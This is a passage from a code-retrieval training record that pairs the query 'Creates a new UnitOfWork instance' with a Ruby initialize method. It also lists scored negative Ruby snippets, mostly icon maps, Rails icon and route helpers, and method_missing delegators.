\"\\uf49d\",\n ios_reverse_camera: \"\\uf49f\",\n ios_reverse_camera_outline: \"\\uf49e\",\n ios_rewind: \"\\uf4a1\",\n ios_rewind_outline: \"\\uf4a0\",\n ios_rose: \"\\uf4a3\",\n ios_rose_outline: \"\\uf4a2\",\n ios_search: \"\\uf4a5\",\n ios_search_strong: \"\\uf4a4\",\n ios_settings: \"\\uf4a7\",\n ios_settings_strong: \"\\uf4a6\",\n ios_shuffle: \"\\uf4a9\",\n ios_shuffle_strong: \"\\uf4a8\",\n ios_skipbackward: \"\\uf4ab\",\n ios_skipbackward_outline: \"\\uf4aa\",\n ios_skipforward: \"\\uf4ad\",\n ios_skipforward_outline: \"\\uf4ac\",\n ios_snowy: \"\\uf4ae\",\n ios_speedometer: \"\\uf4b0\",\n ios_speedometer_outline: \"\\uf4af\",\n ios_star: \"\\uf4b3\",\n ios_star_half: \"\\uf4b1\",\n ios_star_outline: \"\\uf4b2\",\n ios_stopwatch: \"\\uf4b5\",\n ios_stopwatch_outline: \"\\uf4b4\",\n ios_sunny: \"\\uf4b7\",\n ios_sunny_outline: \"\\uf4b6\",\n ios_telephone: \"\\uf4b9\",\n ios_telephone_outline: \"\\uf4b8\",\n ios_tennisball: \"\\uf4bb\",\n ios_tennisball_outline: \"\\uf4ba\",\n ios_thunderstorm: \"\\uf4bd\",\n ios_thunderstorm_outline: \"\\uf4bc\",\n ios_time: \"\\uf4bf\",\n ios_time_outline: \"\\uf4be\",\n ios_timer: \"\\uf4c1\",\n ios_timer_outline: \"\\uf4c0\",\n ios_toggle: \"\\uf4c3\",\n ios_toggle_outline: \"\\uf4c2\",\n ios_trash: \"\\uf4c5\",\n ios_trash_outline: \"\\uf4c4\",\n ios_undo: \"\\uf4c7\",\n ios_undo_outline: \"\\uf4c6\",\n ios_unlocked: \"\\uf4c9\",\n ios_unlocked_outline: \"\\uf4c8\",\n ios_upload: \"\\uf4cb\",\n ios_upload_outline: \"\\uf4ca\",\n ios_videocam: \"\\uf4cd\",\n ios_videocam_outline: \"\\uf4cc\",\n ios_volume_high: \"\\uf4ce\",\n ios_volume_low: \"\\uf4cf\",\n ios_wineglass: \"\\uf4d1\",\n ios_wineglass_outline: \"\\uf4d0\",\n ios_world: \"\\uf4d3\",\n ios_world_outline: \"\\uf4d2\",\n ipad: \"\\uf1f9\",\n iphone: \"\\uf1fa\",\n ipod: \"\\uf1fb\",\n jet: \"\\uf295\",\n key: \"\\uf296\",\n knife: \"\\uf297\",\n laptop: \"\\uf1fc\",\n leaf: \"\\uf1fd\",\n levels: \"\\uf298\",\n lightbulb: \"\\uf299\",\n link: \"\\uf1fe\",\n load_a: \"\\uf29a\",\n load_b: \"\\uf29b\",\n load_c: \"\\uf29c\",\n load_d: \"\\uf29d\",\n location: \"\\uf1ff\",\n lock_combination: \"\\uf4d4\",\n locked: \"\\uf200\",\n log_in: \"\\uf29e\",\n log_out: \"\\uf29f\",\n loop: \"\\uf201\",\n magnet: \"\\uf2a0\",\n male: \"\\uf2a1\",\n man: \"\\uf202\",\n map: \"\\uf203\",\n medkit: \"\\uf2a2\",\n merge: \"\\uf33f\",\n mic_a: \"\\uf204\",\n mic_b: \"\\uf205\",\n mic_c: \"\\uf206\",\n minus: \"\\uf209\",\n minus_circled: \"\\uf207\",\n minus_round: \"\\uf208\",\n model_s: \"\\uf2c1\",\n monitor: \"\\uf20a\",\n more: \"\\uf20b\",\n mouse: \"\\uf340\",\n music_note: \"\\uf20c\",\n navicon: \"\\uf20e\",\n navicon_round: \"\\uf20d\",\n navigate: \"\\uf2a3\",\n network: \"\\uf341\",\n no_smoking: \"\\uf2c2\",\n nuclear: \"\\uf2a4\",\n outlet: \"\\uf342\",\n paintbrush: \"\\uf4d5\",\n paintbucket: \"\\uf4d6\",\n paper_airplane: \"\\uf2c3\",\n paperclip: \"\\uf20f\",\n pause: \"\\uf210\",\n person: \"\\uf213\",\n person_add: \"\\uf211\",\n person_stalker: \"\\uf212\",\n pie_graph: \"\\uf2a5\",\n pin: \"\\uf2a6\",\n pinpoint: \"\\uf2a7\",\n pizza: \"\\uf2a8\",\n plane: \"\\uf214\",\n planet: \"\\uf343\",\n play: \"\\uf215\",\n playstation: \"\\uf30a\",\n plus: \"\\uf218\",\n plus_circled: \"\\uf216\",\n plus_round: \"\\uf217\",\n podium: \"\\uf344\",\n pound: \"\\uf219\",\n power: \"\\uf2a9\",\n pricetag: \"\\uf2aa\",\n pricetags: \"\\uf2ab\",\n printer: \"\\uf21a\",\n pull_request: \"\\uf345\",\n qr_scanner: \"\\uf346\",\n quote: \"\\uf347\",\n radio_waves: \"\\uf2ac\",\n record: \"\\uf21b\",\n refresh: \"\\uf21c\",\n reply: \"\\uf21e\",\n reply_all: \"\\uf21d\",\n ribbon_a: \"\\uf348\",\n ribbon_b: \"\\uf349\",\n sad: \"\\uf34a\",\n sad_outline: \"\\uf4d7\",\n scissors: \"\\uf34b\",\n search: \"\\uf21f\",\n settings: \"\\uf2ad\",\n share: \"\\uf220\",\n shuffle: \"\\uf221\",\n skip_backward: \"\\uf222\",\n skip_forward: \"\\uf223\",\n social_android: \"\\uf225\",\n social_android_outline: \"\\uf224\",\n social_angular: \"\\uf4d9\",\n social_angular_outline: \"\\uf4d8\",\n social_apple: \"\\uf227\",\n social_apple_outline: \"\\uf226\",\n social_bitcoin: \"\\uf2af\",\n social_bitcoin_outline: \"\\uf2ae\",\n social_buffer: \"\\uf229\",\n social_buffer_outline: \"\\uf228\",\n social_chrome: \"\\uf4db\",\n social_chrome_outline: \"\\uf4da\",\n social_codepen: \"\\uf4dd\",\n social_codepen_outline: \"\\uf4dc\",\n social_css3: \"\\uf4df\",\n social_css3_outline: \"\\uf4de\",\n social_designernews: \"\\uf22b\",\n social_designernews_outline: \"\\uf22a\",\n social_dribbble: \"\\uf22d\",\n social_dribbble_outline: \"\\uf22c\",\n social_dropbox: \"\\uf22f\",\n social_dropbox_outline: \"\\uf22e\",\n social_euro: \"\\uf4e1\",\n social_euro_outline: \"\\uf4e0\",\n social_facebook: \"\\uf231\",\n social_facebook_outline: \"\\uf230\",\n social_foursquare: \"\\uf34d\",\n social_foursquare_outline: \"\\uf34c\",\n social_freebsd_devil: \"\\uf2c4\",\n social_github: \"\\uf233\",\n social_github_outline: \"\\uf232\",\n social_google: \"\\uf34f\",\n social_google_outline: \"\\uf34e\",\n social_googleplus: \"\\uf235\",\n social_googleplus_outline: \"\\uf234\",\n social_hackernews: \"\\uf237\",\n social_hackernews_outline: \"\\uf236\",\n social_html5: \"\\uf4e3\",\n social_html5_outline: \"\\uf4e2\",\n social_instagram: \"\\uf351\",\n social_instagram_outline: \"\\uf350\",\n social_javascript: \"\\uf4e5\",\n social_javascript_outline: \"\\uf4e4\",\n social_linkedin: \"\\uf239\",\n social_linkedin_outline: \"\\uf238\",\n social_markdown: \"\\uf4e6\",\n social_nodejs: \"\\uf4e7\",\n social_octocat: \"\\uf4e8\",\n social_pinterest: \"\\uf2b1\",\n social_pinterest_outline: \"\\uf2b0\",\n social_python: \"\\uf4e9\",\n social_reddit: \"\\uf23b\",\n social_reddit_outline: \"\\uf23a\",\n social_rss: \"\\uf23d\",\n social_rss_outline: \"\\uf23c\",\n social_sass: \"\\uf4ea\",\n social_skype: \"\\uf23f\",\n social_skype_outline: \"\\uf23e\",\n social_snapchat: \"\\uf4ec\",\n social_snapchat_outline: \"\\uf4eb\",\n social_tumblr: \"\\uf241\",\n social_tumblr_outline: \"\\uf240\",\n social_tux: \"\\uf2c5\",\n social_twitch: \"\\uf4ee\",\n social_twitch_outline: \"\\uf4ed\",\n social_twitter: \"\\uf243\",\n social_twitter_outline: \"\\uf242\",\n social_usd: \"\\uf353\",\n social_usd_outline: \"\\uf352\",\n social_vimeo: \"\\uf245\",\n social_vimeo_outline: \"\\uf244\",\n social_whatsapp: \"\\uf4f0\",\n social_whatsapp_outline: \"\\uf4ef\",\n social_windows: \"\\uf247\",\n social_windows_outline: \"\\uf246\",\n social_wordpress: \"\\uf249\",\n social_wordpress_outline: \"\\uf248\",\n social_yahoo: \"\\uf24b\",\n social_yahoo_outline: \"\\uf24a\",\n social_yen: \"\\uf4f2\",\n social_yen_outline: \"\\uf4f1\",\n social_youtube: \"\\uf24d\",\n social_youtube_outline: \"\\uf24c\",\n soup_can: \"\\uf4f4\",\n soup_can_outline: \"\\uf4f3\",\n speakerphone: \"\\uf2b2\",\n speedometer: \"\\uf2b3\",\n spoon: \"\\uf2b4\",\n star: \"\\uf24e\",\n stats_bars: \"\\uf2b5\",\n steam: \"\\uf30b\",\n stop: \"\\uf24f\",\n thermometer: \"\\uf2b6\",\n thumbsdown: \"\\uf250\",\n thumbsup: \"\\uf251\",\n toggle: \"\\uf355\",\n toggle_filled: \"\\uf354\",\n transgender: \"\\uf4f5\",\n trash_a: \"\\uf252\",\n trash_b: \"\\uf253\",\n trophy: \"\\uf356\",\n tshirt: \"\\uf4f7\",\n tshirt_outline: \"\\uf4f6\",\n umbrella: \"\\uf2b7\",\n university: \"\\uf357\",\n unlocked: \"\\uf254\",\n upload: \"\\uf255\",\n usb: \"\\uf2b8\",\n videocamera: \"\\uf256\",\n volume_high: \"\\uf257\",\n volume_low: \"\\uf258\",\n volume_medium: \"\\uf259\",\n volume_mute: \"\\uf25a\",\n wand: \"\\uf358\",\n waterdrop: \"\\uf25b\",\n wifi: \"\\uf25c\",\n wineglass: \"\\uf2b9\",\n woman: \"\\uf25d\",\n wrench: \"\\uf2ba\",\n xbox: \"\\uf30c\"\n }\n end", "def respond_to_missing?(name,include_private=false)\n resource_has_extension_method?(name) || super \n end", "def custom_method_element_url(method_name, options = {})\n self.class.remove_json_extension super\n end", "def method_missing(sym, *argv, &argb)\n if @sprite.respond_to?(sym)\n return @sprite.send(sym, *argv, &argb)\n end\n super(sym, *argv, &argb)\n end", "def only_render_implemented_actions\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n raise AbstractController::ActionNotFound unless action_methods.include?(params[:action])\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n end", "def symbol_icon(icon, **opt)\n icon = icon_definitions.dig(icon, :icon) if icon.is_a?(Symbol)\n super(icon, **opt)\n end", "def icon\n\t\timage+'.png' rescue 'pushpin.png'\n\tend", "def icon_ok\n icon('ok')\n end", "def set_default_icon\n self.icon ||= \"instruments/#{self.description.downcase.gsub(/\\s/, '_')}.png\"\n end", "def custom_button(entity, action, path, label)\n\t\temployee_icons = {\"show\" => 'icons/icons_01.gif',\n\t\t\t\t\t\t\"new\" => 'icons/icons_02.gif',\n\t\t\t\t\t \"del\" => 'icons/icons_03.gif',\n\t\t\t\t\t\t\"edit\" => 'icons/icons_04.gif'\n\t\t}\n\t\tassign_icons = { \"show\" => 'icons/icons_05.gif',\n\t\t\t\t\"new\" => 'icons/icons_06.gif',\n\t\t\t \"del\" => 'icons/icons_07.gif',\n\t\t\t\t\"edit\" => 'icons/icons_08.gif'\n\t\t}\n\t\tstore_icons = { \"show\" => 'icons/icons_09.gif',\n\t\t\t\t\"new\" => 'icons/icons_10.gif',\n\t\t\t \"del\" => 'icons/icons_11.gif',\n\t\t\t\t\"edit\" => 'icons/icons_12.gif'\n\t\t}\n\t\tjob_icons = { \"show\" => 'icons/icons_13.gif',\n\t\t\t\t\"new\" => 'icons/icons_14.gif',\n\t\t\t\t\"del\" => 'icons/icons_15.gif',\n\t\t\t \"edit\" => 'icons/icons_16.gif'\n\t\t}\t\n\t\tshift_icons = { \"show\" => 'icons/icons_17.gif',\n\t\t\t\t\"new\" => 'icons/icons_18.gif',\n\t\t\t\t\"del\" => 'icons/icons_19.gif',\n\t\t\t\t\"edit\" => 'icons/icons_20.gif'\n\t\t}\t\t\t\t\t\t\t \n\t\ticons = { \"employee\" => employee_icons, \n\t\t\t \"assignment\" => assign_icons, \n\t\t\t \"store\" => store_icons, \n\t\t\t \"job\" => job_icons, \n\t\t\t \"shift\" => shift_icons\n\t\t}\n\t\timg_tag = image_tag(icons[entity][action], :alt => label)\n\t\treturn '<a href=\"' + path + '\" class=\"btn btn-large ' + action + '\">' + label + \" \" + img_tag + '</a>'\n\tend", "def custom_method_new_element_url(method_name, options = {})\n self.class.remove_json_extension super\n end", "def link_to_with_icon(name, url, options = {})\n if options!=nil && options[:icon]\n options[:class] = \"\" if options[:class].nil?\n options[:class] += \" icon icon_#{options[:icon]}\"\n\n options.delete(:icon)\n end\n\n link_to_without_icon(name, url, options)\n end", "def method_missing(method, *args, &block)\n if (method.to_s.end_with?('_path') || method.to_s.end_with?('_url')) && main_app.respond_to?(method)\n main_app.send(method, *args, &block)\n else\n super\n end\n end", "def icon\n icons = {\n \"chrome\" => \"img-firefox.png\",\n \"safari\" => \"img-safari.png\",\n \"googlechrome\" => \"img-chrome.png\",\n \"iexplore8\" => \"img-ie8.png\",\n \"iexplore7\" => \"img-ie7.png\", \n \"iexplore6\" => \"img-ie6.png\",\n \"iehta\" => \"img-ie8.png\",\n \"firefox\" => \"img-firefox.png\"\n }\n\n if self.browser_name == 'iexplore' or self.browser_name == 'iehta'\n ret = icons[\"iexplore\" + self.browser_version.delete(\".\")]\n else\n ret = icons[self.browser_name]\n end\n\n return \"unknown_#{self.browser_name}\" if ret.nil?\n ret\n end", "def icon\n @icon\n end", "def icons(key)\n (icons_info[key.to_s] || key)\n end", "def help_icon(path)\n link_to('#help-modal', class: 'display-modal') do\n concat content_tag(:i, nil, class: 'eui-icon eui-fa-info-circle', data: { 'help-path': path, 'override-help': override_help })\n concat content_tag(:span, \"Help modal for #{title}\", class: 'is-invisible')\n end\n end", "def default_url\r\n ActionController::Base.helpers.asset_path(\"fallback/\" + [version_name, \"default.png\"].compact.join('_'))\r\n #ActionController::Base.helpers.asset_path(\"fallback/\" + \"default.gif\")\r\n end", "def icon_url(server_id, icon_id)\n \"#{api_base}/guilds/#{server_id}/icons/#{icon_id}.jpg\"\n end", "def icon_url(server_id, icon_id)\n \"#{api_base}/guilds/#{server_id}/icons/#{icon_id}.jpg\"\n end", "def method_missing(method, *args, &block)\n if method.to_s.end_with?('_path', '_url')\n if main_app.respond_to?(method)\n main_app.send(method, *args)\n else\n super\n end\n else\n super\n end\n end", "def method_missing(method_name, *args)\n render '/shared/not_found' \n end", "def method_missing(*args)\n render_missing_page # calls my common 404 rendering method\n end", "def icon_overview\n \"dashboard\"\n end", "def resource_title_draggable_avatar resource\n name = resource.class.name.split(\"::\")[0]\n icon=\"\"\n case name\n when \"DataFile\",\"Model\",\"Sop\"\n image = image_tag(((name == \"Model\") ? icon_filename_for_key(\"model_avatar\"): (file_type_icon_url(resource))))\n icon = link_to_draggable(image, show_resource_path(resource), :id=>model_to_drag_id(resource), :class=> \"asset\", :title=>tooltip_title_attrib(get_object_title(resource)))\n when \"Investigation\",\"Study\"\n image = image \"#{resource.class.name.downcase}_avatar\",{}\n icon = link_to_draggable(image, show_resource_path(resource), :id=>model_to_drag_id(resource), :class=> \"asset\", :title=>tooltip_title_attrib(get_object_title(resource)))\n when \"Assay\"\n type=resource.is_modelling? ? \"modelling\" : \"experimental\"\n image = image \"#{resource.class.name.downcase}_#{type}_avatar\",{}\n icon = link_to_draggable(image, show_resource_path(resource), :id=>model_to_drag_id(resource), :class=> \"asset\", :title=>tooltip_title_attrib(get_object_title(resource)))\n when \"Organism\"\n image = image \"#{resource.class.name.downcase}_avatar\",{}\n icon = link_to_draggable(image, organism_path(resource), :id=>model_to_drag_id(resource), :class=> \"asset\", :title=>tooltip_title_attrib(get_object_title(resource)))\n end\n return icon\n end", "def add_untranslated_helpers_to_controllers_and_views old_name\n ['path', 'url'].map do |suffix|\n new_helper_name = \"#{old_name}_#{suffix}\"\n\n ROUTE_HELPER_CONTAINER.each do |helper_container|\n helper_container.send :define_method, new_helper_name do |*args|\n if respond_to? \"#{old_name}_#{locale_suffix(I18n.locale)}_#{suffix}\"\n send \"#{old_name}_#{locale_suffix(I18n.locale)}_#{suffix}\", *args\n else\n send \"#{old_name}_#{locale_suffix(I18n.default_locale)}_#{suffix}\", *args\n end\n end\n end\n\n new_helper_name.to_sym\n end\n end", "def add_icons\n [:human, :computer].each do |player|\n @current_state[:pieces][player].each do |piece|\n row = piece.location[0]\n column = piece.location[1]\n @current_state[:position][row][column] = piece.icon\n end\n end\n end", "def action_missing(*)\n end", "def get_icon\n if @team == \"white\"\n white_icon\n else\n black_icon\n end\n end", "def cheri_icon\n @cheri_icon ||= get_icon('cheri_icon_16x16.png')\n end", "def method_missing key, *sig, &blk\n if match = /(\\w+_|\\b)koi_(\\w+)_path$/.match(key)\n prefix, suffix = match.to_a.drop 1\n koi_engine.send :\"#{ prefix }#{ suffix }_path\", *sig, &blk\n else\n super\n end\n end", "def respond_to_missing?(method, include_private = true)\n method.to_s.end_with?(ACTION_SUFFIX) || super\n end", "def method_missing(method, *args, &block)\n if !self_respond_to?(method) && acting_as.respond_to?(method)\n acting_as.send(method, *args, &block)\n elsif !self_respond_to?(method) && typed_asset.respond_to?(method)\n puts \"You are calling the old asset #{typed_asset.object_key} for this method #{method}\"\n Rails.logger.warn \"You are calling the old asset for this method #{method}\"\n typed_asset.send(method, *args, &block)\n else\n super\n end\n end", "def valid_methods\n [:home, :list, :search]\n end", "def custom_routes; end", "def render_file_icon file\n if file.filename.split(\".\").last == \"pdf\"\n img_tag = \"#{image_tag(\"file_icons/pdf.png\", :plugin => :alchemy)}\"\n elsif file.filename.split(\".\").last == \"flv\"\n img_tag = \"#{image_tag(\"file_icons/flv.png\", :plugin => :alchemy)}\"\n elsif file.filename.split(\".\").last == \"gif\"\n img_tag = \"#{image_tag(\"file_icons/gif.png\", :plugin => :alchemy)}\"\n elsif file.filename.split(\".\").last == \"zip\"\n img_tag = \"#{image_tag(\"file_icons/zip.png\", :plugin => :alchemy)}\"\n elsif file.filename.split(\".\").last == \"mp3\"\n img_tag = \"#{image_tag(\"file_icons/mp3.png\", :plugin => :alchemy)}\"\n elsif file.filename.split(\".\").last == \"swf\"\n img_tag = \"#{image_tag(\"file_icons/swf.png\", :plugin => :alchemy)}\"\n elsif file.filename.split(\".\").last == \"doc\"\n img_tag = \"#{image_tag(\"file_icons/doc.png\", :plugin => :alchemy)}\"\n elsif file.filename.split(\".\").last == \"jpg\"\n img_tag = \"#{image_tag(\"file_icons/jpg.png\", :plugin => :alchemy)}\"\n else\n img_tag = \"#{image_tag(\"file_icons/file.png\", :plugin => :alchemy)}\"\n end\n end", "def method_missing(method_sym, *arguments)\n\n if method_sym.to_s =~ DECORATOR_METHOD_SIGNATURE\n # Strip off the decorator and see who can handle the real request\n actual_method_sym = method_sym.to_s[4..-1]\n if (asset_fleet_type.groups.include? actual_method_sym) || (asset_fleet_type.custom_groups.include? actual_method_sym) || (asset_fleet_type.label_groups.include? actual_method_sym)\n typed_asset = Asset.get_typed_asset(active_assets.first)\n typed_asset.try(actual_method_sym)\n end\n else\n puts \"Method #{method_sym.to_s} with #{arguments}\"\n # Pass the call on -- probably generates a method not found exception\n super\n end\n end", "def method_for_action(action_name); end", "def method_missing(method, *args, &block)\n if (stars.key?(method) || stars[type].key?(method)) && args.length == 0\n stars[method] || stars[type][method]\n else\n super\n end\n end", "def icon_name=(icon_name)\n end", "def _handle_action_missing(*args); end", "def flash_icon(level)\n case level\n when :notice then \"icon-ok blue\"\n when :success then \"icon-ok green\"\n when :error then \"icon-exclamation-sign red\"\n when :alert then \"icon-warning-sign red \"\n end\n end", "def respond_to_missing?(name, include_private = false)\n known_action?(name) ||\n known_resource?(name) ||\n known_exception?(name) ||\n super\n end", "def icon\n \"#{data_content_type.gsub(/[\\/\\.]/,'-')}.png\"\n end", "def icon\n \"#{data_content_type.gsub(/[\\/\\.]/,'-')}.png\"\n end", "def update!(**args)\n @icon = args[:icon] if args.key?(:icon)\n @icon_url = args[:icon_url] if args.key?(:icon_url)\n @name = args[:name] if args.key?(:name)\n @on_click = args[:on_click] if args.key?(:on_click)\n end", "def update!(**args)\n @icon = args[:icon] if args.key?(:icon)\n @icon_url = args[:icon_url] if args.key?(:icon_url)\n @name = args[:name] if args.key?(:name)\n @on_click = args[:on_click] if args.key?(:on_click)\n end", "def update!(**args)\n @icon = args[:icon] if args.key?(:icon)\n @icon_url = args[:icon_url] if args.key?(:icon_url)\n @name = args[:name] if args.key?(:name)\n @on_click = args[:on_click] if args.key?(:on_click)\n end", "def update!(**args)\n @icon = args[:icon] if args.key?(:icon)\n @icon_url = args[:icon_url] if args.key?(:icon_url)\n @name = args[:name] if args.key?(:name)\n @on_click = args[:on_click] if args.key?(:on_click)\n end", "def method_missing(method, *args, &block)\n if !self_respond_to?(method) && acting_as.respond_to?(method)\n acting_as.send(method, *args, &block)\n elsif !self_respond_to?(method) && typed_asset.respond_to?(method)\n puts \"You are calling the old asset for this method #{method}\"\n Rails.logger.warn \"You are calling the old asset for this method #{method}\"\n typed_asset.send(method, *args, &block)\n else\n super\n end\n end", "def method_missing(method, *args, &block)\n if !self_respond_to?(method) && acting_as.respond_to?(method)\n acting_as.send(method, *args, &block)\n elsif !self_respond_to?(method) && typed_asset.respond_to?(method)\n puts \"You are calling the old asset for this method #{method}\"\n Rails.logger.warn \"You are calling the old asset for this method #{method}\"\n typed_asset.send(method, *args, &block)\n else\n super\n end\n end", "def method_missing(method, *args, &block)\n if !self_respond_to?(method) && acting_as.respond_to?(method)\n acting_as.send(method, *args, &block)\n elsif !self_respond_to?(method) && typed_asset.respond_to?(method)\n puts \"You are calling the old asset for this method #{method}\"\n Rails.logger.warn \"You are calling the old asset for this method #{method}\"\n typed_asset.send(method, *args, &block)\n else\n super\n end\n end", "def image_style_from_method_name(method_name)\n if method_name.to_s.match(/_image$/) && style = method_name.to_s.sub(/_image$/, '')\n possible_styles = Spree::Image.attachment_definitions[:attachment][:styles]\n style if style.in? possible_styles.with_indifferent_access\n end\n end", "def small\n @user_icon = UserIcon.find(params[:id])\n respond_to do |format|\n format.jpg # thumb.jpg.flexi\n end\n end", "def icon\n options[:icon] || (traits.slice!(0).to_s if traits.first.is_a?(String))\n end", "def icon\n primary_category ? primary_category[\"icon\"] : \"https://foursquare.com/img/categories/none.png\"\n end", "def icon\n primary_category ? primary_category[\"icon\"] : \"https://foursquare.com/img/categories/none.png\"\n end", "def playable_action\n raise NotImplementedError\n end", "def set_command_module_icon(status)\n path = BeEF::Extension::AdminUI::Constants::Icons::MODULE_TARGET_IMG_PATH # add icon path\n case status\n when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING\n path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_NOT_WORKING_IMG\n when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY\n path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_USER_NOTIFY_IMG\n when BeEF::Core::Constants::CommandModule::VERIFIED_WORKING\n path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_WORKING_IMG\n when BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN\n path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_UNKNOWN_IMG\n else\n path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_UNKNOWN_IMG\n end\n #return path\n path\n end", "def lookup_action; end", "def bonsai_method_path(m, klass)\n k = klass.class.to_s.underscore.pluralize.singularize\n case(m)\n when \"new\" then link_to \"nuevo\", send(\"new_#{k}_path\", klass)\n when \"show\" then link_to \"ver\", klass, :class => \"show_icon\", :title => \"Ver\"\n when \"edit\" then link_to \"editar\", send(\"edit_#{k}_path\", klass), :class => \"edit\", :title => \"Editar\"\n when \"destroy\" then link_to \"borrar\", klass, :method => :delete, :class => \"delete\", :title => \"Borrar\", :confirm => 'Esta seguro de borrar el item seleccionado', :remote => true\n else \"\"\n end\n end", "def only_render_implemented_actions\n raise AbstractController::ActionNotFound unless action_methods.include?(params[:action])\n end", "def default_url(*_args)\n ActionController::Base\n .helpers\n .asset_path('fallback/' + [version_name, 'missing_avatar1.png'].compact.join('_'))\n end", "def default_url\n ActionController::Base.helpers.asset_path(\"logos/\" + [version_name, \"missing.png\"].compact.join('/'))\n end", "def action(sym, ops = {})\n\t \tops[:icon] ||= sym\n\t \tops[:title] ||= sym.to_s.humanize\n\t \tif ops[:icon].is_a?(String)\n\t \t\tadd_icon sym => ops[:icon]\n\t \t\tops[:icon] = sym\n\t \tend\n @actions[sym] = ops\n\t end", "def plugin_icon(plugin)\n registered = {\n petition: 'hand-rock-o',\n thermometer: 'neuter',\n survey: 'edit',\n text: 'paragraph',\n fundraiser: 'money',\n email_tool: 'envelope-o',\n email_pension: 'university',\n call_tool: 'phone'\n }\n name = plugin.name.underscore.to_sym\n registered.fetch(name, 'cubes')\n end", "def image_style_from_method_name(method_name)\n if method_name.to_s.match(/_image\\z/) && style = method_name.to_s.sub(/_image\\z/, '')\n #possible_styles = Spree::Image.attachment_definitions[:attachment][:styles]\n #style if style.in? possible_styles.with_indifferent_access\n style\n end\n end", "def color_method(method)\n case method\n when /delete/i then RED\n when /get|search|reload|find/i then BLUE\n when /post|create/i then GREEN\n when /put|patch|update/i then YELLOW\n when /login|logout|download|query/i then CYAN\n else MAGENTA\n end\n end", "def api_method\n @_api_method ||= \"#{method_from_class_name}.get\"\n end", "def method_missing(method, *args)\n if (service = method.to_s.match(/^(ip|vlm|dns)_(site|subnet6?|pool6?|address6?|alias6?|domain|range|vlan|server|view|zone|rr)_(add|update|info|list|delete|count)$/))\n r_module, r_object, r_action = service.captures\n\n if (@servicemapper.has_key?(service.to_s))\n r_mapped_service = @servicemapper[service.to_s][0]\n end\n\n # case r_action with add, update, list, delete, count to set r_method\n case r_action\n when 'add'\n r_method = 'post'\n when 'update'\n r_method = 'put'\n when 'delete'\n r_method = 'delete'\n else\n r_method = 'get'\n end\n\n self.call(r_method, r_mapped_service, args)\n else\n super\n end\n end", "def non_get_methods\n [:post, :put, :delete]\n end", "def update_key\n actor = battler # Just make alias\n @used_key = battler.icon_key\n array = Icons[@used_key]\n return icon_error unless array\n self.anchor = array[0]\n @dummy.x = (battler.flip ? -array[1] : array[1])\n @dummy.y = array[2]\n @above_char = array[3]\n update_placement\n self.angle = array[4]\n target = array[5]\n duration = array[6]\n icon_index = (eval(array[7]) rescue 0) if array[7].is_a?(String)\n if array[7] >= 0\n icon_index = array[7]\n elsif !array[7].nil?\n if array[7] == -1 # First weapon ~\n icon_index = (battler.weapons[0].icon_index rescue 0)\n elsif array[7] == -2 # Second weapon ~\n icon_index = (battler.weapons[1].icon_index rescue \n (battler.weapons[0].icon_index rescue 0))\n elsif array[7] <= -3 # Custom icon graphic\n icon_index = array[7] + 2\n end\n end\n self.mirror = (array[8].nil? ? false : array[8])\n if array[9] && array[10] && array[11]\n @dummy.slide(array[9], array[10], array[11])\n end\n icon_index = icon_index || 0\n self.icon_index = icon_index\n change_angle(target, duration)\n battler.icon_key = \"\"\n end", "def set_icon_url(page)\n if page['iconSlug']\n page.data['iconUrl'] = \"https://cdn.jsdelivr.net/npm/simple-icons/icons/#{page['iconSlug']}.svg\"\n end\n end", "def method_missing(method_name, params = {})\n component, *action = method_name.to_s.split('__')\n component = component.to_sym\n action = !action.empty? && action.join(\"__\").to_sym\n\n if action\n if components[component]\n # only actions starting with \"endpoint_\" are accessible\n endpoint_action = action.to_s.index('__') ? action : \"_#{action}_ep_wrapper\"\n component_instance(component).send(endpoint_action, params)\n else\n component_missing(component)\n end\n else\n super\n end\n end", "def icon_url\n if self.icon_server.to_i > 0\n \"http://farm#{self.icon_farm}.static.flickr.com/#{self.icon_server}/buddyicons/#{self.id}.jpg\"\n else\n 'http://www.flickr.com/images/buddyicon.jpg'\n end\n end" ]
[ "0.6233598", "0.615125", "0.58730745", "0.5807232", "0.5805596", "0.5798527", "0.57427466", "0.568982", "0.568982", "0.5633644", "0.55670005", "0.5490245", "0.5486341", "0.5410707", "0.54066026", "0.5405247", "0.5339818", "0.5324322", "0.5310097", "0.53070885", "0.53068984", "0.5295554", "0.5292276", "0.5292276", "0.5292276", "0.5288385", "0.5263832", "0.5263488", "0.5260659", "0.52550066", "0.5238062", "0.523614", "0.52151376", "0.5211433", "0.5206631", "0.5160829", "0.5158989", "0.51467407", "0.5145216", "0.5143339", "0.513718", "0.51327336", "0.51290655", "0.5115977", "0.5115977", "0.5110289", "0.5108091", "0.5107934", "0.5093413", "0.5079182", "0.50734437", "0.5065022", "0.50618535", "0.5052318", "0.50510097", "0.5050306", "0.50472385", "0.5039653", "0.50284714", "0.5020358", "0.5019966", "0.50164795", "0.5011751", "0.50081307", "0.50071543", "0.5004625", "0.4999799", "0.49975386", "0.49913853", "0.49913853", "0.49856243", "0.49856243", "0.49856243", "0.49856243", "0.4983403", "0.4983403", "0.4983403", "0.4977821", "0.49777174", "0.49742582", "0.49654177", "0.49654177", "0.49616623", "0.49614617", "0.49592438", "0.49556473", "0.49545968", "0.49442342", "0.49391386", "0.4932846", "0.49213028", "0.4919185", "0.49172354", "0.49127096", "0.49114144", "0.49111432", "0.49074465", "0.48967177", "0.48954955", "0.48944333" ]
0.6956579
0
Public: Creates a new UnitOfWork instance.
def initialize @identity_map = {} @meta = {} @pending_saves = [] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
